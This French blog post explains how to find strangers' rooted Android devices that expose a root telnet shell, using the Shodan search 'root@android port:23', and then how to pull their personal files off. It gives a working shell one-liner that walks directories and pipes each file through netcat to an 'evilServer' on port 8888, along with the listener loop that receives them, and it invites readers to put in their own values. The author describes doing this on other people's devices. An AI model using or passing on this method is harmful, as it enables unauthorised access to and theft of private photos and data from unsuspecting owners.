{Android} – Dérober des données personnelles via un shell sous telnet

Coucou les amis,

 

J'ai pris quelques semaines de repos, et je vous le dis : ça fait du bien !

J'ai pris le temps de me mettre un peu au Java, puis au C# ...
Une petite balade de santé pour se remettre en forme sur certains domaines techniques.

J'ai eu aussi l'occasion d'aller sur l'île d'Oléron et atterrir dans un Motel avec un point d'accès Wifi protégé par un mot de passe unique ... "iledoleron"
J'ai eu l'occasion de refaire une belle mouture d'un de mes scripts maison qui découvre le réseau à la recherche de chose sympa ... comme des imprimantes en réseaux avec un intranet non protégé ...

Petite sortie avec les "hackers" Nantais pour ceux qui suivent un peu mon Facebook ;)

Et enfin, petit retour aux manettes du blog aujourd'hui, pour vous proposer un petit article avec un assortiment de choses qui je l'espère vous plaira !

Shodan et Android

J'avais déjà écrit des articles sur Shodan, qui est un excellent moteur de recherche pour tout ce qui est objet connecté.
A la base je voulais simplement faire quelques tests sur mon smartphone perso ... mais pas de bol je l'avais oublié dans ma voiture sur un parking souterrain ... donc par la sainte Flemme, je me suis dit que j'allais faire mes expériences sur des Android référencé sur Shodan :D

Et hop ... petite recherche de "root@android port:23" et l'accès à une liste d'adresses ip d'objet (smartphone, tablette ou que sais-je) tournant sous Android, avec un joli accès root sur un shell via l'interface telnet !
Très probablement des personnes qui ont suivi des bêtises racontées sur internet pour pouvoir être le big boss sur Candy Cruuuuuush ;)

Ne rootez pas votre smartphone, si vous ne savez pas ce que cela signifie.

Bref, un shell qui me permet de faire absolument tout ce que je veux sur ces périphériques Android :

  • Installation / désinstallation / ouverture / fermeture d'application
  • Simulation de clic, de saisie de texte, ...
  • Consultation des fichiers (photos, vidéos, musiques, ...)

 

Téléchargement depuis un shell Android via Telnet  

On ne peut pas vraiment parler de téléchargement depuis Telnet, puisque chaque interface sous Telnet peut permettre des choses différentes propres à son support.
Dans notre cas, il nous est possible simplement d'administrer l'appareil... nous ne pouvons pas récupérer directement les fichiers ...

Il s'agit d'Android, donc nous sommes vraiment dans un environnement très très limité en matière de commandes.

Donc vous n'aurez très probablement pas accès à des commandes basiques comme :

  • TAR
  • RSYNC
  • SCP
  • CURL
  • WGET

Par sécurité, il convient d'oublier de s'envoyer par FTP ou SFTP les fichiers :

Vous êtes sur un  appareil que vous ne connaissez pas.
De plus, un appareil qui est référencé sur un moteur de recherche.

 

Iriez vous saisir vos identifiants sur un appareil accessible par n'importe qui ?
Ce n'est donc pas vraiment la meilleure des options.

Vous l'aurez compris, il n'y a pas de méthode simple, rapide et propre pour y parvenir.

 

Récupérer les fichiers

Netcat est présent sur la plupart des Android que j'ai pu testé, du coup, je me suis dit tout simplement qu'il fallait créer une archive de ce que je voulais récupérer et me l'envoyer par netcat !

Bref, ça aurait été tellement si simple !
Mais non ! Car je n'avais pas la commande "TAR" !

GZIP versus TAR

Malgré l'absence de la commande TAR qui permet de créer une archive à partir d'un ou plusieurs fichiers, je disposais tout de même de la fonction gzip !
Et je me suis dit qu'il serait intéressant de corriger une fausse croyance de beaucoup.

GZIP ne permet pas de créer une archive à partir de plusieurs fichiers. Il permet simplement de compresser un seul fichier à la fois ...
Donc vu que vous êtes des coquins et que vous n'avez envie de télécharger tout le répertoire de photo contenant au minimum 50 fichiers en vous les envoyant un par un, j'ai pour vous "LA SOLUTION" !

 

"LA SOLUTION" de téléchargement ultime

J'ai réfléchit à une solution qui serait assez simple puisqu'elle ne devrait pas utiliser trop de commande.
Il fallait que cette solution s'appuie uniquement sur des commandes disponibles "partout"

  • ls
  • cat
  • netcat

J'ai donc écrit une ligne de commande qui automatise l'envoi des fichiers un par un ...

Find "maison"

Là non plus, la plupart des Android sur lesquels je suis tombé, ne disposaient pas de cette commande.
J'ai dû par conséquent, me coder mon petit find :

dir(){ ls $1 | while read line; do f="$1/$line"; echo $f; if [[ -d $f ]]; then dir "$1/$line";  fi; done; };  


# Demo
dir /home

 

 

La méthodologie

 

Mapping d'un Find et d'un NetCat

J'ai désormais la compétence pour récupérer la liste des fichiers d'un répertoire (et de ses sous répertoires)
Il ne me reste plus qu'à automatiser l'envoi de chacun.

 

Avantage de cette méthode 

  • Il n'est pas nécessaire de saisir d'identifiant ou de mot de passe sur Android

Inconvénient de cette méthode

  • Pas très rapide
  • Le serveur ne connaîtra pas le type et les noms des fichiers

 

Côté Android

J'envoi les fichiers à mon serveur avec la commande suivante

dir(){ ls $1 | while read line; do f="$1/$line"; echo $f; if [[ -d $f ]]; then dir "$1/$line"; else `cat $f | nc evilServer 8888`; fi; done; };  dir ./images/

La ligne de commande suivante envoie les fichiers du repertoire ./images sur la machine EvilServer  par le port 8888

Il ne vous reste plus qu'à remplacer ces valeurs par les vôtres.

 

Côté Serveur

Je reçois les fichiers avec la commande suivante :

while [ 1 = 1 ]; do nc -l -p  8888 > /tmp/$RANDOM.jpg; done;

La commande ci-dessus maintient le serveur ouvert netcat "ouvert" sur le port 8888.
Chaque fois qu'un fichier est téléchargé, celui-ci est stocké (dans l'exemple ci-dessus) dans un fichier qui s'appellera { numéro aléatoire }.jpg

Dans cet exemple, je fais la supposition que je n'attends que des fichiers images.

Démonstration vidéo

Une fois n'est pas coutume, voici donc une nouvelle vidéo à mon actif sur Youtube.
Vidéo qui je l'espère illustrera cet article et vous permettra de mieux assimiler ce que j'explique par écrit.

Je vous remercie encore pour toutes celles et ceux qui ont pris un peu de temps pour mettre un like, un commentaire ou encore à s'abonner à la chaîne.

 

Conclusion

J'espère vous avoir montré au travers de cet exemple quelque peu ludique, qu'il était tout simplement possible de s'envoyer une arborescence complète de fichiers en n'utilisant que quelques commandes de bases.
J'aimerais également souligner l'importance de ne pas rooter un smartphone si vous ne maîtrisez pas bien ce terme et surtout ce qu'il implique en matière de dangerosité.

Remerciement tout particulier à #Harry avec qui j'ai pris un grand plaisir à trouver ce sujet d'article, et surtout qui m'accompagne très souvent dans mes expérimentations farfelues  ;)

Partagez ce contenu

One comment

  • Patricia De wyse

    bonjour je viens de recevoir un numéro de tel de quelqu’un qui habite normalement paris moi je suis en belgique comment puis je savoir si ce numéro est bien de Paris ?????

     

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *